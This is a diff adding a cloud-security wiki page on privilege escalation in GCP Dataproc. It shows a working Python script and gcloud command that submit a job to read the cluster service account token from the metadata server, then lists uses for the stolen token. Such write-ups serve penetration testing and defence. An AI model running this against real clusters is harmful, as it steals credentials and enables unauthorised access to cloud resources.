|
| 1 | +# GCP Dataproc Privilege Escalation |
| 2 | + |
| 3 | +## Dataproc Roles and Privilege Escalation |
| 4 | + |
| 5 | +Google Cloud Dataproc roles like roles/dataproc.editor and roles/dataproc.admin grant significant permissions over Dataproc resources. If these roles are assigned to a compromised user or service account, they can be abused to escalate privileges by leaking sensitive metadata tokens or accessing other GCP resources. |
| 6 | + |
| 7 | +## Key Permissions in Dataproc Roles |
| 8 | + |
| 9 | +roles/dataproc.editor - Modify Dataproc jobs. Submit PySpark, Spark, Hadoop, and other job types to a cluster. Access job logs and configurations. Interact with associated GCP services like Cloud Storage and BigQuery. |
| 10 | + |
| 11 | +roles/dataproc.admin - Full control over Dataproc clusters, including creating, deleting, and managing clusters. |
| 12 | + |
| 13 | +These permissions make both roles highly sensitive and dangerous if misused. |
| 14 | + |
| 15 | + |
| 16 | +## Privilege Escalation via Metadata Token Leaking |
| 17 | + |
| 18 | +By abusing the permissions granted by roles/dataproc.editor or roles/dataproc.admin, an attacker can: |
| 19 | + |
| 20 | +- Submit a job to a Dataproc cluster. |
| 21 | + |
| 22 | +- Use the job to access the metadata server. |
| 23 | + |
| 24 | +- Leak the service account token used by the cluster. |
| 25 | + |
| 26 | +### Example Script for token leaking |
| 27 | + |
| 28 | +The following script demonstrates how an attacker can submit a job to a Dataproc cluster to leak the metadata token: |
| 29 | + |
| 30 | +import requests |
| 31 | + |
| 32 | +# Metadata server URL to fetch the access token |
| 33 | + |
| 34 | +``` |
| 35 | +metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token" |
| 36 | +headers = {"Metadata-Flavor": "Google"} |
| 37 | +
|
| 38 | +def fetch_metadata_token(): |
| 39 | + try: |
| 40 | + response = requests.get(metadata_url, headers=headers, timeout=5) |
| 41 | + response.raise_for_status() |
| 42 | + token = response.json().get("access_token", "") |
| 43 | + print(f"Leaked Token: {token}") |
| 44 | + return token |
| 45 | + except Exception as e: |
| 46 | + print(f"Error fetching metadata token: {e}") |
| 47 | + return None |
| 48 | +
|
| 49 | +if __name__ == "__main__": |
| 50 | + fetch_metadata_token() |
| 51 | +``` |
| 52 | + |
| 53 | +### Steps to exploit |
| 54 | + |
| 55 | +``` |
| 56 | +gcloud dataproc jobs submit pyspark gs://<bucket-name>/fetch_metadata_token.py \ |
| 57 | + --cluster=<cluster-name> \ |
| 58 | + --region=<region> |
| 59 | +``` |
| 60 | +### Use the Leaked Token |
| 61 | + |
| 62 | +The leaked token can be used to: |
| 63 | + |
| 64 | +- Access GCP APIs and resources (depending on the token’s permissions). |
| 65 | +- Enumerate resources such as Cloud Storage buckets, BigQuery datasets, and more. |
| 66 | +- Potentially escalate privileges further if the token has high-level permissions (e.g., roles/owner) |
0 commit comments